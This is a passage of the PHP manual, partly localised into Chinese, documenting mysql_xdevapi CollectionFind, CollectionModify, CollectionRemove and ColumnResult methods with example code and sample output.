Lock exclusively the document, other transactions are blocked from updating the document until the document is locked While the document is locked, other transactions are blocked from updating those docs, from doing SELECT ... LOCK IN SHARE MODE, or from reading the data in certain transaction isolation levels. Consistent reads ignore any locks set on the records that exist in the read view.

This feature is directly useful with the modify() command, to avoid concurrency problems. Basically, it serializes access to a row through row locking

参数

lock_waiting_option

Optional waiting option. By default it is MYSQLX_LOCK_DEFAULT. Valid values are these constants:

  • MYSQLX_LOCK_DEFAULT

  • MYSQLX_LOCK_NOWAIT

  • MYSQLX_LOCK_SKIP_LOCKED

返回值

Returns a CollectionFind object that can be used for further processing

示例

Example #1 mysql_xdevapi\CollectionFind::lockExclusive() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$session->startTransaction();

$result = $collection
->find("age > 50")
->lockExclusive()
->execute();

// ... do an operation on the object

// Complete the transaction and unlock the document
$session->commit();
?>

User Contributed Notes

There are no user contributed notes for this page.


Execute operation with SHARED LOCK

  • ? CollectionFind::lockExclusive
  • CollectionFind::offset ?
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Execute operation with SHARED LOCK

CollectionFind::lockShared

(No version information available, might only be in Git)

CollectionFind::lockShared — Execute operation with SHARED LOCK

说明

public mysql_xdevapi\CollectionFind::lockShared(int $lock_waiting_option = ?): mysql_xdevapi\CollectionFind

Allows to share the documents between multiple transactions which are locking in shared mode.

Other sessions can read the rows, but cannot modify them until your transaction commits.

If any of these rows were changed by another transaction that has not yet committed,

your query waits until that transaction ends and then uses the latest values.

参数

lock_waiting_option

Optional waiting option. By default it is MYSQLX_LOCK_DEFAULT. Valid values are these constants:

  • MYSQLX_LOCK_DEFAULT

  • MYSQLX_LOCK_NOWAIT

  • MYSQLX_LOCK_SKIP_LOCKED

返回值

A CollectionFind object that can be used for further processing

示例

Example #1 mysql_xdevapi\CollectionFind::lockShared() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$session->startTransaction();

$result = $collection
->find("age > 50")
->lockShared()
->execute();

// ... read the object in shared mode

// Complete the transaction and unlock the document
$session->commit();
?>

User Contributed Notes

There are no user contributed notes for this page.


Skip given number of elements to be returned

  • ? CollectionFind::lockShared
  • CollectionFind::sort ?
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Skip given number of elements to be returned

CollectionFind::offset

(No version information available, might only be in Git)

CollectionFind::offset — Skip given number of elements to be returned

说明

public mysql_xdevapi\CollectionFind::offset(int $position): mysql_xdevapi\CollectionFind

Skip (offset) these number of elements that otherwise would be returned by the find operation. Use with the limit() method.

Defining an offset larger than the result set size results in an empty set.

参数

position

Number of elements to skip for the limit() operation.

返回值

A CollectionFind object that can be used for additional processing.

示例

Example #1 mysql_xdevapi\CollectionFind::offset() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");
$create
->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
->execute();
$create
->add('{"name": "Reginald", "age": 42, "job": "Butler"}')
->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
->find()
->sort('age asc')
->offset(1)
->limit(1)
->execute();

var_dump($result->fetchAll());
?>

以上示例的输出类似于：

array(1) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b536100000000000000f3"
    ["age"]=>
    int(42)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(8) "Reginald"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Set the sorting criteria

  • ? CollectionFind::offset
  • mysql_xdevapi\CollectionModify ?
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Set the sorting criteria

CollectionFind::sort

(No version information available, might only be in Git)

CollectionFind::sort — Set the sorting criteria

说明

public mysql_xdevapi\CollectionFind::sort(string $sort_expr): mysql_xdevapi\CollectionFind

Sort the result set by the field selected in the sort_expr argument. The allowed orders are ASC (Ascending) or DESC (Descending). This operation is equivalent to the 'ORDER BY' SQL operation and it follows the same set of rules.

参数

sort_expr

One or more sorting expressions can be provided. The evaluation is from left to right, and each expression is separated by a comma.

返回值

A CollectionFind object that can be used to execute the command, or to add additional operations.

示例

Example #1 mysql_xdevapi\CollectionFind::sort() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");
$create
->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
->execute();
$create
->add('{"name": "Reginald", "age": 42, "job": "Butler"}')
->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
->find()
->sort('job desc', 'age asc')
->execute();

var_dump($result->fetchAll());
?>

以上示例的输出类似于：

array(2) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b53610000000000000106"
    ["age"]=>
    int(18)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(6) "Alfred"
  }
  [1]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b53610000000000000107"
    ["age"]=>
    int(42)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(8) "Reginald"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


CollectionModify class

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\CollectionModify implements mysql_xdevapi\Executable, mysql_xdevapi\CrudOperationBindable, mysql_xdevapi\CrudOperationLimitable, mysql_xdevapi\CrudOperationSkippable, mysql_xdevapi\CrudOperationSortable {
/* 方法 */
public arrayAppend(string $collection_field, string $expression_or_literal): mysql_xdevapi\CollectionModify
public arrayInsert(string $collection_field, string $expression_or_literal): mysql_xdevapi\CollectionModify
public bind(array $placeholder_values): mysql_xdevapi\CollectionModify
public execute(): mysql_xdevapi\Result
public limit(int $rows): mysql_xdevapi\CollectionModify
public patch(string $document): mysql_xdevapi\CollectionModify
public replace(string $collection_field, string $expression_or_literal): mysql_xdevapi\CollectionModify
public set(string $collection_field, string $expression_or_literal): mysql_xdevapi\CollectionModify
public skip(int $position): mysql_xdevapi\CollectionModify
public sort(string $sort_expr): mysql_xdevapi\CollectionModify
public unset(array $fields): mysql_xdevapi\CollectionModify
}

Table of Contents

  • CollectionModify::arrayAppend — Append element to an array field
  • CollectionModify::arrayInsert — Insert element into an array field
  • CollectionModify::bind — Bind value to query placeholder
  • CollectionModify::__construct — CollectionModify constructor
  • CollectionModify::execute — Execute modify operation
  • CollectionModify::limit — Limit number of modified documents
  • CollectionModify::patch — Patch document
  • CollectionModify::replace — Replace document field
  • CollectionModify::set — Set document attribute
  • CollectionModify::skip — Skip elements
  • CollectionModify::sort — Set the sorting criteria
  • CollectionModify::unset — Unset the value of document fields

User Contributed Notes

There are no user contributed notes for this page.


Append element to an array field

  • ? mysql_xdevapi\CollectionModify
  • CollectionModify::arrayInsert ?
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Append element to an array field

CollectionModify::arrayAppend

(No version information available, might only be in Git)

CollectionModify::arrayAppend — Append element to an array field

说明

public mysql_xdevapi\CollectionModify::arrayAppend(string $collection_field, string $expression_or_literal): mysql_xdevapi\CollectionModify

Add an element to a document's field, as multiple elements of a field are represented as an array. Unlike arrayInsert(), arrayAppend() always appends the new element at the end of the array, whereas arrayInsert() can define the location.

参数

collection_field

The identifier of the field where the new element is inserted.

expression_or_literal

The new element to insert at the end of the document field array.

返回值

A CollectionModify object that can be used to execute the command, or to add additional operations.

示例

Example #1 mysql_xdevapi\CollectionModify::arrayAppend() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection
->add(
'{"name": "Bernie",
"traits": ["Friend", "Brother", "Human"]}')
->execute();

$collection
->modify("name in ('Bernie', 'Jane')")
->arrayAppend('traits', 'Happy')
->execute();

$result = $collection
->find()
->execute();

print_r($result->fetchAll());
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [_id] => 00005b6b5361000000000000010c
            [name] => Bernie
            [traits] => Array
                (
                    [0] => Friend
                    [1] => Brother
                    [2] => Human
                    [3] => Happy
                )
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Insert element into an array field

  • ? CollectionModify::arrayAppend
  • CollectionModify::bind ?
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Insert element into an array field

CollectionModify::arrayInsert

(No version information available, might only be in Git)

CollectionModify::arrayInsert — Insert element into an array field

说明

public mysql_xdevapi\CollectionModify::arrayInsert(string $collection_field, string $expression_or_literal): mysql_xdevapi\CollectionModify

Add an element to a document's field, as multiple elements of a field are represented as an array. Unlike arrayAppend(), arrayInsert() allows you to specify where the new element is inserted by defining which item it is after, whereas arrayAppend() always appends the new element at the end of the array.

参数

collection_field

Identify the item in the array that the new element is inserted after. The format of this parameter is FIELD_NAME[ INDEX ] where FIELD_NAME is the name of the document field to remove the element from, and INDEX is the INDEX of the element within the field.

The INDEX field is zero based, so the leftmost item from the array has an index of 0.

expression_or_literal

The new element to insert after FIELD_NAME[ INDEX ]

返回值

A CollectionModify object that can be used to execute the command, or to add additional operations

示例

Example #1 mysql_xdevapi\CollectionModify::arrayInsert() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection
->add(
'{"name": "Bernie",
"traits": ["Friend", "Brother", "Human"]}')
->execute();

$collection
->modify("name in ('Bernie', 'Jane')")
->arrayInsert('traits[1]', 'Happy')
->execute();

$result = $collection
->find()
->execute();

print_r($result->fetchAll());
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [_id] => 00005b6b5361000000000000010d
            [name] => Bernie
            [traits] => Array
                (
                    [0] => Friend
                    [1] => Happy
                    [2] => Brother
                    [3] => Human
                )
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Bind value to query placeholder

  • ? CollectionModify::arrayInsert
  • CollectionModify::__construct ?
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Bind value to query placeholder

CollectionModify::bind

(No version information available, might only be in Git)

CollectionModify::bind — Bind value to query placeholder

说明

public mysql_xdevapi\CollectionModify::bind(array $placeholder_values): mysql_xdevapi\CollectionModify

Bind a parameter to the placeholder in the search condition of the modify operation.

The placeholder has the form of :NAME where ':' is a common prefix that must always exists before any NAME where NAME is the name of the placeholder. The bind method accepts a list of placeholders if multiple entities have to be substituted in the search condition of the modify operation.

参数

placeholder_values

Placeholder values to substitute in the search condition. Multiple values are allowed and have to be passed as an array of mappings PLACEHOLDER_NAME->PLACEHOLDER_VALUE.

返回值

A CollectionModify object that can be used to execute the command, or to add additional operations.

示例

Example #1 mysql_xdevapi\CollectionModify::bind() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection
->add(
'{"name": "Bernie",
"traits": ["Friend", "Brother", "Human"]}')
->execute();

$collection
->modify("name = :name")
->bind(['name' => 'Bernie'])
->arrayAppend('traits', 'Happy')
->execute();

$result = $collection
->find()
->execute();

print_r($result->fetchAll());
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [_id] => 00005b6b53610000000000000110
            [name] => Bernie
            [traits] => Array
                (
                    [0] => Friend
                    [1] => Brother
                    [2] => Human
                    [3] => Happy
                )
        )
)

User Contributed Notes

There are no user contributed notes for this page.


CollectionModify constructor

  • ? CollectionModify::bind
  • CollectionModify::execute ?
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • CollectionModify constructor

CollectionModify::__construct

(No version information available, might only be in Git)

CollectionModify::__construct — CollectionModify constructor

说明

private mysql_xdevapi\CollectionModify::__construct()

Modify (update) a collection, and is instantiated by the Collection::modify() method.

参数

此函数没有参数。

示例

Example #1 mysql_xdevapi\CollectionModify::__construct() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection
->add(
'{"name": "Bernie",
"traits": ["Friend", "Brother", "Human"]}')
->execute();

$collection
->modify("name in ('Bernie', 'Jane')")
->arrayAppend('traits', 'Happy')
->execute();

$result = $collection
->find()
->execute();

print_r($result->fetchAll());
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [_id] => 00005b6b5361000000000000010c
            [name] => Bernie
            [traits] => Array
                (
                    [0] => Friend
                    [1] => Brother
                    [2] => Human
                    [3] => Happy
                )
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Execute modify operation

  • ? CollectionModify::__construct
  • CollectionModify::limit ?
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Execute modify operation

CollectionModify::execute

(No version information available, might only be in Git)

CollectionModify::execute — Execute modify operation

说明

public mysql_xdevapi\CollectionModify::execute(): mysql_xdevapi\Result

The execute method is required to send the CRUD operation request to the MySQL server.

参数

此函数没有参数。

返回值

A Result object that can be used to verify the status of the operation, such as the number of affected rows.

示例

Example #1 mysql_xdevapi\CollectionModify::execute() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Limit number of modified documents

  • ? CollectionModify::execute
  • CollectionModify::patch ?
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Limit number of modified documents

CollectionModify::limit

(No version information available, might only be in Git)

CollectionModify::limit — Limit number of modified documents

说明

public mysql_xdevapi\CollectionModify::limit(int $rows): mysql_xdevapi\CollectionModify

Limit the number of documents modified by this operation. Optionally combine with skip() to define an offset value.

参数

rows

The maximum number of documents to modify.

返回值

A CollectionModify object.

示例

Example #1 mysql_xdevapi\CollectionModify::limit() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$collection->add('{"name": "Fred", "age": 21, "job": "Construction"}')->execute();
$collection->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')->execute();
$collection->add('{"name": "Betty", "age": 24, "job": "Teacher"}')->execute();

$collection
->modify("job = :job")
->bind(['job' => 'Teacher'])
->set('job', 'Principal')
->limit(1)
->execute();

$result = $collection
->find()
->execute();

print_r($result->fetchAll());
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [_id] => 00005b6b53610000000000000118
            [age] => 21
            [job] => Construction
            [name] => Fred
        )
    [1] => Array
        (
            [_id] => 00005b6b53610000000000000119
            [age] => 23
            [job] => Principal
            [name] => Wilma
        )
    [2] => Array
        (
            [_id] => 00005b6b5361000000000000011a
            [age] => 24
            [job] => Teacher
            [name] => Betty
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Patch document

  • ? CollectionModify::limit
  • CollectionModify::replace ?
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Patch document

CollectionModify::patch

(No version information available, might only be in Git)

CollectionModify::patch — Patch document

说明

public mysql_xdevapi\CollectionModify::patch(string $document): mysql_xdevapi\CollectionModify

Takes a patch object and applies it on one or more documents, and can update multiple document properties.

Warning

本函数还未编写文档，仅有参数列表。

参数

document

A document with the properties to apply to the matching documents.

返回值

A CollectionModify object.

示例

Example #1 mysql_xdevapi\CollectionModify::patch() example

<?php

$res = $coll->modify('"Programmatore" IN job')->patch('{"Hobby" : "Programmare"}')->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Replace document field

  • ? CollectionModify::patch
  • CollectionModify::set ?
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Replace document field

CollectionModify::replace

(No version information available, might only be in Git)

CollectionModify::replace — Replace document field

说明

public mysql_xdevapi\CollectionModify::replace(string $collection_field, string $expression_or_literal): mysql_xdevapi\CollectionModify

Replace (update) a given field value with a new one.

参数

collection_field

The document path of the item to set.

expression_or_literal

The value to set on the specified attribute.

返回值

A CollectionModify object.

示例

Example #1 mysql_xdevapi\CollectionModify::replace() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection
->add(
'{"name": "Bernie",
"traits": ["Friend", "Brother", "Human"]}')
->execute();

$collection
->modify("name = :name")
->bind(['name' => 'Bernie'])
->replace("name", "Bern")
->execute();

$result = $collection
->find()
->execute();

print_r($result->fetchAll());
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [_id] => 00005b6b5361000000000000011b
            [name] => Bern
            [traits] => Array
                (
                    [0] => Friend
                    [1] => Brother
                    [2] => Human
                )
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Set document attribute

  • ? CollectionModify::replace
  • CollectionModify::skip ?
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Set document attribute

CollectionModify::set

(No version information available, might only be in Git)

CollectionModify::set — Set document attribute

说明

public mysql_xdevapi\CollectionModify::set(string $collection_field, string $expression_or_literal): mysql_xdevapi\CollectionModify

Sets or updates attributes on documents in a collection.

参数

collection_field

The document path (name) of the item to set.

expression_or_literal

The value to set it to.

返回值

A CollectionModify object.

示例

Example #1 mysql_xdevapi\CollectionModify::set() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection
->add(
'{"name": "Bernie",
"traits": ["Friend", "Brother", "Human"]}')
->execute();

$collection
->modify("name = :name")
->bind(['name' => 'Bernie'])
->set("name", "Bern")
->execute();

$result = $collection
->find()
->execute();

print_r($result->fetchAll());
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [_id] => 00005b6b53610000000000000111
            [name] => Bern
            [traits] => Array
                (
                    [0] => Friend
                    [1] => Brother
                    [2] => Human
                )
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Skip elements

  • ? CollectionModify::set
  • CollectionModify::sort ?
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Skip elements

CollectionModify::skip

(No version information available, might only be in Git)

CollectionModify::skip — Skip elements

说明

public mysql_xdevapi\CollectionModify::skip(int $position): mysql_xdevapi\CollectionModify

Skip the first N elements that would otherwise be returned by a find operation. If the number of elements skipped is larger than the size of the result set, then the find operation returns an empty set.

Warning

本函数还未编写文档，仅有参数列表。

参数

position

Number of elements to skip.

返回值

A CollectionModify object to use for further processing.

示例

Example #1 mysql_xdevapi\CollectionModify::skip() example

<?php

$coll->modify('age > :age')->sort('age desc')->unset(['age'])->bind(['age' => 20])->limit(4)->skip(1)->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Set the sorting criteria

  • ? CollectionModify::skip
  • CollectionModify::unset ?
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Set the sorting criteria

CollectionModify::sort

(No version information available, might only be in Git)

CollectionModify::sort — Set the sorting criteria

说明

public mysql_xdevapi\CollectionModify::sort(string $sort_expr): mysql_xdevapi\CollectionModify

Sort the result set by the field selected in the sort_expr argument. The allowed orders are ASC (Ascending) or DESC (Descending). This operation is equivalent to the 'ORDER BY' SQL operation and it follows the same set of rules.

Warning

本函数还未编写文档，仅有参数列表。

参数

sort_expr

One or more sorting expression can be provided, the evaluation of these will be from the leftmost to the rightmost, each expression must be separated by a comma.

返回值

CollectionModify object that can be used for further processing.

示例

Example #1 mysql_xdevapi\CollectionModify::sort() example

<?php

$res = $coll->modify('true')->sort('name desc', 'age asc')->limit(4)->set('Married', 'NO')->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Unset the value of document fields

  • ? CollectionModify::sort
  • mysql_xdevapi\CollectionRemove ?
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • Unset the value of document fields

CollectionModify::unset

(No version information available, might only be in Git)

CollectionModify::unset — Unset the value of document fields

说明

public mysql_xdevapi\CollectionModify::unset(array $fields): mysql_xdevapi\CollectionModify

Removes attributes from documents in a collection.

Warning

本函数还未编写文档，仅有参数列表。

参数

fields

The attributes to remove from documents in a collection.

返回值

CollectionModify object that can be used for further processing.

示例

Example #1 mysql_xdevapi\CollectionModify::unset() example

<?php

$res = $coll->modify('job like :job_name')->unset(["age", "name"])->bind(['job_name' => 'Plumber'])->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


CollectionRemove class

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\CollectionRemove implements mysql_xdevapi\Executable, mysql_xdevapi\CrudOperationBindable, mysql_xdevapi\CrudOperationLimitable, mysql_xdevapi\CrudOperationSortable {
/* 方法 */
public bind(array $placeholder_values): mysql_xdevapi\CollectionRemove
public execute(): mysql_xdevapi\Result
public limit(int $rows): mysql_xdevapi\CollectionRemove
public sort(string $sort_expr): mysql_xdevapi\CollectionRemove
}

Table of Contents

  • CollectionRemove::bind — Bind value to placeholder
  • CollectionRemove::__construct — CollectionRemove constructor
  • CollectionRemove::execute — Execute remove operation
  • CollectionRemove::limit — Limit number of documents to remove
  • CollectionRemove::sort — Set the sorting criteria

User Contributed Notes

There are no user contributed notes for this page.


Bind value to placeholder

  • ? mysql_xdevapi\CollectionRemove
  • CollectionRemove::__construct ?
  • PHP Manual
  • mysql_xdevapi\CollectionRemove
  • Bind value to placeholder

CollectionRemove::bind

(No version information available, might only be in Git)

CollectionRemove::bind — Bind value to placeholder

说明

public mysql_xdevapi\CollectionRemove::bind(array $placeholder_values): mysql_xdevapi\CollectionRemove

Bind a parameter to the placeholder in the search condition of the remove operation.

The placeholder has the form of :NAME where ':' is a common prefix that must always exists before any NAME where NAME is the name of the placeholder. The bind method accepts a list of placeholders if multiple entities have to be substituted in the search condition of the remove operation.

Warning

本函数还未编写文档，仅有参数列表。

参数

placeholder_values

Placeholder values to substitute in the search condition. Multiple values are allowed and have to be passed as an array of mappings PLACEHOLDER_NAME->PLACEHOLDER_VALUE.

返回值

A CollectionRemove object that can be used to execute the command, or to add additional operations.

示例

Example #1 mysql_xdevapi\CollectionRemove::bind() example

<?php

$res = $coll->remove('age > :age_from and age < :age_to')->bind(['age_from' => 20, 'age_to' => 50])->limit(7)->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


CollectionRemove constructor

  • ? CollectionRemove::bind
  • CollectionRemove::execute ?
  • PHP Manual
  • mysql_xdevapi\CollectionRemove
  • CollectionRemove constructor

CollectionRemove::__construct

(No version information available, might only be in Git)

CollectionRemove::__construct — CollectionRemove constructor

说明

private mysql_xdevapi\CollectionRemove::__construct()

Remove collection documents, and is instantiated by the Collection::remove() method.

参数

此函数没有参数。

示例

Example #1 mysql_xdevapi\Collection::remove() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$collection->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$collection->add('{"name": "Bob", "age": 19, "job": "Painter"}')->execute();

// Remove all painters
$collection
->remove("job in ('Painter')")
->execute();

// Remove the oldest butler
$collection
->remove("job in ('Butler')")
->sort('age desc')
->limit(1)
->execute();

// Remove record with lowest age
$collection
->remove('true')
->sort('age desc')
->limit(1)
->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


Execute remove operation

  • ? CollectionRemove::__construct
  • CollectionRemove::limit ?
  • PHP Manual
  • mysql_xdevapi\CollectionRemove
  • Execute remove operation

CollectionRemove::execute

(No version information available, might only be in Git)

CollectionRemove::execute — Execute remove operation

说明

public mysql_xdevapi\CollectionRemove::execute(): mysql_xdevapi\Result

The execute function needs to be invoked in order to trigger the client to send the CRUD operation request to the server.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Result object.

示例

Example #1 mysql_xdevapi\CollectionRemove::execute() example

<?php

$res = $coll->remove('true')->sort('age desc')->limit(2)->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Limit number of documents to remove

  • ? CollectionRemove::execute
  • CollectionRemove::sort ?
  • PHP Manual
  • mysql_xdevapi\CollectionRemove
  • Limit number of documents to remove

CollectionRemove::limit

(No version information available, might only be in Git)

CollectionRemove::limit — Limit number of documents to remove

说明

public mysql_xdevapi\CollectionRemove::limit(int $rows): mysql_xdevapi\CollectionRemove

Sets the maximum number of documents to remove.

Warning

本函数还未编写文档，仅有参数列表。

参数

rows

The maximum number of documents to remove.

返回值

Returns a CollectionRemove object that can be used to execute the command, or to add additional operations.

示例

Example #1 mysql_xdevapi\CollectionRemove::limit() example

<?php

$res = $coll->remove('job in (\'Barista\', \'Programmatore\', \'Ballerino\', \'Programmatrice\')')->limit(5)->sort(['age desc', 'name asc'])->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Set the sorting criteria

  • ? CollectionRemove::limit
  • mysql_xdevapi\ColumnResult ?
  • PHP Manual
  • mysql_xdevapi\CollectionRemove
  • Set the sorting criteria

CollectionRemove::sort

(No version information available, might only be in Git)

CollectionRemove::sort — Set the sorting criteria

说明

public mysql_xdevapi\CollectionRemove::sort(string $sort_expr): mysql_xdevapi\CollectionRemove

Sort the result set by the field selected in the sort_expr argument. The allowed orders are ASC (Ascending) or DESC (Descending). This operation is equivalent to the 'ORDER BY' SQL operation and it follows the same set of rules.

Warning

本函数还未编写文档，仅有参数列表。

参数

sort_expr

One or more sorting expressions can be provided. The evaluation is from left to right, and each expression is separated by a comma.

返回值

A CollectionRemove object that can be used to execute the command, or to add additional operations.

示例

Example #1 mysql_xdevapi\CollectionRemove::sort() example

<?php

$res = $coll->remove('true')->sort('age desc')->limit(2)->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


ColumnResult class

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\ColumnResult {
/* 方法 */
public getCharacterSetName(): string
public getCollationName(): string
public getColumnLabel(): string
public getColumnName(): string
public getFractionalDigits(): int
public getLength(): int
public getSchemaName(): string
public getTableLabel(): string
public getTableName(): string
public getType(): int
public isNumberSigned(): int
public isPadded(): int
}

Table of Contents

  • ColumnResult::__construct — ColumnResult constructor
  • ColumnResult::getCharacterSetName — Get character set
  • ColumnResult::getCollationName — Get collation name
  • ColumnResult::getColumnLabel — Get column label
  • ColumnResult::getColumnName — Get column name
  • ColumnResult::getFractionalDigits — Get fractional digit length
  • ColumnResult::getLength — Get column field length
  • ColumnResult::getSchemaName — Get schema name
  • ColumnResult::getTableLabel — Get table label
  • ColumnResult::getTableName — Get table name
  • ColumnResult::getType — Get column type
  • ColumnResult::isNumberSigned — Check if signed type
  • ColumnResult::isPadded — Check if padded

User Contributed Notes

There are no user contributed notes for this page.


ColumnResult constructor

  • ? mysql_xdevapi\ColumnResult
  • ColumnResult::getCharacterSetName ?
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • ColumnResult constructor

ColumnResult::__construct

(No version information available, might only be in Git)

ColumnResult::__construct — ColumnResult constructor

说明

private mysql_xdevapi\ColumnResult::__construct()

Retrieve column metadata, such as its character set; this is instantiated by the RowResult::getColumns() method.

参数

此函数没有参数。

示例

Example #1 mysql_xdevapi\ColumnResult::__construct() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS nonsense")->execute();
$session->sql("CREATE DATABASE nonsense")->execute();
$session->sql("CREATE TABLE nonsense.numbers (hello int, world float unsigned)")->execute();
$session->sql("INSERT INTO nonsense.numbers values (42, 42)")->execute();

$schema = $session->getSchema("nonsense");
$table = $schema->getTable("numbers");

$result1 = $table->select('hello','world')->execute();

// Returns an array of ColumnResult objects
$columns = $result1->getColumns();

foreach ($columns as $column) {
echo "\nColumn label " , $column->getColumnLabel();
echo " is type " , $column->getType();
echo " and is ", ($column->isNumberSigned() === 0) ? "Unsigned." : "Signed.";
}

// Alternatively
$result2 = $session->sql("SELECT * FROM nonsense.numbers")->execute();

// Returns an array of FieldMetadata objects
print_r($result2->getColumns());

以上示例的输出类似于：

Column label hello is type 19 and is Signed.
Column label world is type 4  and is Unsigned.

Array
(
    [0] => mysql_xdevapi\FieldMetadata Object
        (
            [type] => 1
            [type_name] => SINT
            [name] => hello
            [original_name] => hello
            [table] => numbers
            [original_table] => numbers
            [schema] => nonsense
            [catalog] => def
            [collation] => 0
            [fractional_digits] => 0
            [length] => 11
            [flags] => 0
            [content_type] => 0
        )
    [1] => mysql_xdevapi\FieldMetadata Object
        (
            [type] => 6
            [type_name] => FLOAT
            [name] => world
            [original_name] => world
            [table] => numbers
            [original_table] => numbers
            [schema] => nonsense
            [catalog] => def
            [collation] => 0
            [fractional_digits] => 31
            [length] => 12
            [flags] => 1
            [content_type] => 0
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Get character set

  • ? ColumnResult::__construct
  • ColumnResult::getCollationName ?
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Get character set
